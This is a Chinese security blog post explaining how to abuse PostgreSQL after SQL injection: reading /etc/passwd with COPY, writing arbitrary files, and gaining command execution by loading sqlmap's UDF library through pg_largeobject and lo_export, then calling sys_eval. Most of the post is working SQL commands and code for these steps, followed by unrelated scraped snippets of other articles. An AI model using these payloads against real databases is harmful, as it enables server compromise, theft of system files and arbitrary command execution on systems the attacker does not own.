• 2013/07/9 作者: admin

PostgreSql那点事(文件读取写入、命令执行的办法)

今天无意发现了个PostgreSQL环境,线上学习了下,一般的数据注射(读写数据库)差异不大,不做讨论,个人比较关心PostgreSQL的文件读取和命令执行方面。

1,文件读取/写入
PostgreSQL 8.1 以后提供了一组现成的文件操作函数
pg_logdir_ls()、pg_ls_dir()、pg_file_rename()、pg_file_write()、
pg_read_file()、pg_length_file(),用这些就可以胡作非为了?你错了。。。
可以用这个函数直接读取/etc/passwd?实际情况下测试并未成功,因为pg_xxx这个adminpack将权限限制在了./postgresql/data下面。
a)比如列目录

b)读取权限允许的文件

还有个写文件函数测试并未成功,而且只能像data下写也是满足不了需求的。
c)比较可行的文件读取方案

Default
drop table wooyun;
CREATE TABLE wooyun(t TEXT);
COPY wooyun FROM '/etc/passwd';
SELECT * FROM wooyun limit 1 offset 0;
1
2
3
4
drop table wooyun;
CREATE TABLE wooyun(t TEXT);
COPY wooyun FROM '/etc/passwd';
SELECT * FROM wooyun limit 1 offset 0;


利用注射修改偏移值很快就可以遍历出来了,但是还是有点寒碜,直接读出全部数据

Default
DROP TABLE wooyun;
CREATE TABLE wooyun (t TEXT);
COPY wooyun(t) FROM '/etc/passwd';
SELECT * FROM wooyun;
1
2
3
4
DROP TABLE wooyun;
CREATE TABLE wooyun (t TEXT);
COPY wooyun(t) FROM '/etc/passwd';
SELECT * FROM wooyun;


d)写入文件

Default
DROP TABLE wooyun;
CREATE TABLE wooyun (t TEXT);
INSERT INTO wooyun(t) VALUES ('hello wooyun');
COPY wooyun(t) TO '/tmp/wooyun';
1
2
3
4
DROP TABLE wooyun;
CREATE TABLE wooyun (t TEXT);
INSERT INTO wooyun(t) VALUES ('hello wooyun');
COPY wooyun(t) TO '/tmp/wooyun';


读一下看看是否存在

Bingo~

2,命令执行
这里大概有三种方式
a)利用 libc 中的 system() 函数
很多文章会让我们添加一个到libc库的自定义功能函数

Default
CREATE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6', 'system' LANGUAGE 'C' STRICT;
1
CREATE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6', 'system' LANGUAGE 'C' STRICT;

但是返回错误
Error : ERROR:  incompatible library “/lib64/libc.so.6”: missing magic block
HINT:  Extension libraries are required to use the PG_MODULE_MAGIC macro.

这是因为当PostgreSQL加载外部动态库的时候,会检查MAGIC
DATA,如果没有这个函数(Pg_magic_func),PostgreSQL认为这个动态库不是PostgreSQL可以使用的动态库。具体逻辑请
看 src/backend/utils/fmgr/dfmgr.c 中定义的 internal_load_library 函数源代码。
这样一来就等同于建立了一个“白名单”,系统自带的库默认我不再允许动态加载,所以此路不通(也许低版本走的通,但我手里这个不行)。
给一个 Pg_magic_func 代码样例:

Default
extern PGDLLEXPORT const Pg_magic_struct * Pg_magic_func(void);
const Pg_magic_struct *
Pg_magic_func(void)
{
static const Pg_magic_struct Pg_magic_data = PG_MODULE_MAGIC_DATA;
return &Pg_magic_data;
}
1
2
3
4
5
6
7
extern PGDLLEXPORT const Pg_magic_struct * Pg_magic_func(void);
const Pg_magic_struct *
Pg_magic_func(void)
{
static const Pg_magic_struct Pg_magic_data = PG_MODULE_MAGIC_DATA;
return &Pg_magic_data;
}

b)利用Perl/Python脚本语言功能
在zone上看过一帖,http://zone.wooyun.org/content/1591,很纳闷为什么这样定义函数就可以执行系统命令,plperlu又是啥,经过资料的挖掘,发现是PostgreSQL自带的一种程序语言支持。
具体可见这里(http://www.postgresql.org/docs/8.3/static/xplang.html)。
大概意思就是PostgreSQL允许用除了SQL和C的其他语言来编写函数,但这个很悲剧啊,我的环境没有安装PostgreSQL的Python和Perl支持,待我弄个环境在来实现下过程。

c)利用C语言自定义函数
Perl、Python都能在PostgreSQL自定义了更不用说C了。这个在sqlmap的udf目录下有现成的,而且还是根据版本加了Pg_magic_func函数的,可以加载。。。牛鞭!

Default
FengGou:8.4 $ pwd
/Users/FengGou/sqlmap/udf/postgresql/linux/64/8.4
FengGou:8.4 $ ls
lib_postgresqludf_sys.so
1
2
3
4
FengGou:8.4 $ pwd
/Users/FengGou/sqlmap/udf/postgresql/linux/64/8.4
FengGou:8.4 $ ls
lib_postgresqludf_sys.so

将sqlmap的so文件转为16进制的代码,

Default
7F454C4602010100000000000000000003003E0001000000C00C0000000000004000000000000000A0170000000000000000000040003800050040001A00190001000000050000000000000000000000000000000000000000000000000000008413000000000000841300000000000000002000000000000100000006000000881300000000000088132000000000008813200000000000A802000000000000B00200000000000000002000000000000200000006000000B013000000000000B013200000000000B01... ...
1
7F454C4602010100000000000000000003003E0001000000C00C0000000000004000000000000000A0170000000000000000000040003800050040001A00190001000000050000000000000000000000000000000000000000000000000000008413000000000000841300000000000000002000000000000100000006000000881300000000000088132000000000008813200000000000A802000000000000B00200000000000000002000000000000200000006000000B013000000000000B013200000000000B01... ...

老他么长的一段,怎么还原成二进制的so库文件呢?这里感谢 @瞌睡龙 提供的Tips,这里用到了PostgreSQL的pg_largeobject“大对象数据”,官方原文:pg_largeobject 表保存那些标记着”大对象”的数据。 一个大对象是使用其创建时分配的 OID 标识的。 每个大对象都分解成足够小的小段或者”页面”以便以行的形式存储在 pg_largeobject 里。 每页的数据定义为LOBLKSIZE(目前是BLCKSZ/4,或者通常是 2K 字节)。

a)查看PostgreSQL目录

Default
SELECT setting FROM pg_settings WHERE name='data_directory';
1
SELECT setting FROM pg_settings WHERE name='data_directory';

b)查询oid

Default
select lo_creat(-1);
1
select lo_creat(-1);

oid为当前对象大数据的标识符,我们要利用这个存储UDF文件内容。
c)oid与上面保持一致

Default
delete from pg_largeobject where loid=18412;
1
delete from pg_largeobject where loid=18412;

等于变相清空”页面”,不要干扰库的生成
d)把16进制的so文件塞进去

Default
insert into pg_largeobject (loid,pageno,data) values(18412, 0, decode('7F454CXXXXXXXXX000', 'hex'));
1
insert into pg_largeobject (loid,pageno,data) values(18412, 0, decode('7F454CXXXXXXXXX000', 'hex'));

e)利用PostgreSQL自带函数将大型对象导出到文件

Default
SELECT lo_export(18412, 'cmd.so');
1
SELECT lo_export(18412, 'cmd.so');

f)建立UDF

Default
CREATE OR REPLACE FUNCTION sys_eval(text) RETURNS text AS '/xxx/cmd.so', 'sys_eval' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE;
1
CREATE OR REPLACE FUNCTION sys_eval(text) RETURNS text AS '/xxx/cmd.so', 'sys_eval' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE;

g)调用这个UDF

Default
select sys_eval('id');
1
select sys_eval('id');

也许服务器没装PostgreSQL的Perl、Python支持,但是C库是通用的。

相关文章《Postgresql注入语法指南》《postgresql读写文件和破解密码

参考:
[1]PostgreSQL SQL Injection Cheat Sheet
http://pentestmonkey.net/cheat-sheet/sql-injection/postgres-sql-injection-cheat-sheet
[2]OWASP Backend Security Project Testing PostgreSQL
https://www.owasp.org/index.php/OWASP_Backend_Security_Project_Testing_PostgreSQL
[3]PostGreSQL注入学习(续篇)
http://www.hackol.com/news/201007270731289820885.shtml
[4]PostgreSQL Adminpack
http://www.postgresql.org/docs/8.4/static/adminpack.html
[5]PostgreSQL 外部动态连接库魔法块的使用
http://my.oschina.net/quanzl/blog/136907
[6]Chapter 37. Procedural Languages
http://www.postgresql.org/docs/8.3/static/xplang.html
[7]postgresql “初级”注入大法
http://zone.wooyun.org/content/1591
[8]pg_largeobject
http://www.php100.com/manual/PostgreSQL8/catalog-pg-largeobject.html

link:http://zone.wooyun.org/content/4971

PostgreSql那点事(文件读取写入、命令执行的办法)的更多相关文章

  1. python向config、ini文件读取写入

    config读取操作 cf = configparser.ConfigParser() # 实例化对象 cf.read(filename) # 读取文件 cf.sections() # 读取secti ...

  2. nio实现文件读取写入数据库或文件

    1.nio实现读取大文件,之后分批读取写入数据库 2.nio实现读取大文件,之后分批写入指定文件 package com.ally; import java.io.File; import java. ...

  3. html外部文件读取/写入

    1.文件的读取 外部文件读取控件: <input type="file" id="file_jquery" onchange="file_jqu ...

  4. Python txt文件读取写入字典的方法(json、eval)

    link:https://blog.csdn.net/li532331251/article/details/78203438 一.使用json转换方法 1.字典写入txt import json d ...

  5. JAVA 文件读取写入后 md5值不变的方法

    假如我们想把某文件读入 StringBuffer 并写入新文件,新文件md5值需要保持不变(写入新文件后保证和源文件一模一样), 我们就需要在操作 StringBuffer 时附加换行符: Strin ...

  6. python学习笔记6-输入输出与文件读取写入

    (1)打印到屏幕:print (2)读取键盘输入:input/raw_input #键盘输入 str = raw_input("Please enter:"); print (&q ...

  7. java 文件读取写入

    public class ReadFromFile { /** * 以字节为单位读取文件,常用于读二进制文件,如图片.声音.影像等文件. */ public static void readFileB ...

  8. java 读取Zip文件进行写入

    直接读取ZIp文件读取写入到别的文件中. package jp.co.misumi.mdm.batch; import java.io.BufferedReader; import java.io.F ...

  9. SpringBoot基于EasyExcel解析Excel实现文件导出导入、读取写入

    1. 简介   Java解析.生成Excel比较有名的框架有Apache poi.jxl.但他们都存在一个严重的问题就是非常的耗内存,poi有一套SAX模式的API可以一定程度的解决一些内存溢出的问题 ...

随机推荐

  1. Random Access Iterator 徐州网络赛(树形dp)

    Random Access Iterator \[ Time Limit: 4000 ms \quad Memory Limit: 262144 kB \] 题意 给出伪代码,问按着伪代码在树上跑,能 ...

  2. c# HttpClient的HTTP/2支持

    HTTP/2 是 HTTP 协议的主要修订版.HTTP/2 的一些显著功能是支持标头压缩和通过同一连接完全多路复用流.虽然 HTTP/2 保留了 HTTP 的语义(HTTP 标头.方法等),但它在数据 ...

  3. 洛谷 P3368 【模板】树状数组 2 题解

    P3368 [模板]树状数组 2 题目描述 如题,已知一个数列,你需要进行下面两种操作: 1.将某区间每一个数数加上x 2.求出某一个数的值 输入格式 第一行包含两个整数N.M,分别表示该数列数字的个 ...

  4. base64和Blob互相转换

      1.base64转blob(二进制数据) /** * 将以base64的图片url数据转换为Blob * @param urlData 用url方式表示的base64图片数据 */ functio ...

  5. 亿级Web系统搭建 Web负载均衡的几种实现方式(阿里)

    我还写了两篇详细的 参考:六大Web负载均衡原理与实现 参考:LVS(Linus Virtual Server):三种IP负载均衡方式比较+另三种Web负载均衡方式 其中LVS.HAProxy可以工作 ...

  6. ValueError: Graph disconnected: cannot obtain value for tensor Tensor

    一般是Input和下面的变量重名了,导致model里面的input变成了第二次出现的Input变量,而不是最开始模型中作为输入的Input变量 改正方法:给第二个变量赋一个新名字即可

  7. Idea 设置单击打开文件或者双击打开文件、自动定位文件所在的位置

    以下定位,框架下,打开文件的点击方式,以及点击标签导航页上的已打开文件定位到展开路径,如下图:

  8. 【免费视频】使用VS Code开发ASP.NET Core WebAPI应用程序

    1.使用VS Code开发ASP.NET Core WebAPI应用程序 1.使用Visual Studio Code开发Asp.Net Core基础入门实战 毕竟从.net过度过来的我们已经习惯了使 ...

  9. cad.net 块裁剪边界反向修剪

    Querying for XCLIP information inside AutoCAD using .NET  这里下面观众讨论了 How do I determine if an x-clip ...

  10. mybatis:updatebyexample与updateByExampleSelective

    MyBatis,通常逆向工程工具生成接口和xml映射文件用于简单的单表操作. 有两个方法: updateByExample 和 updateByExampleSelective  ,作用是对数据库进行 ...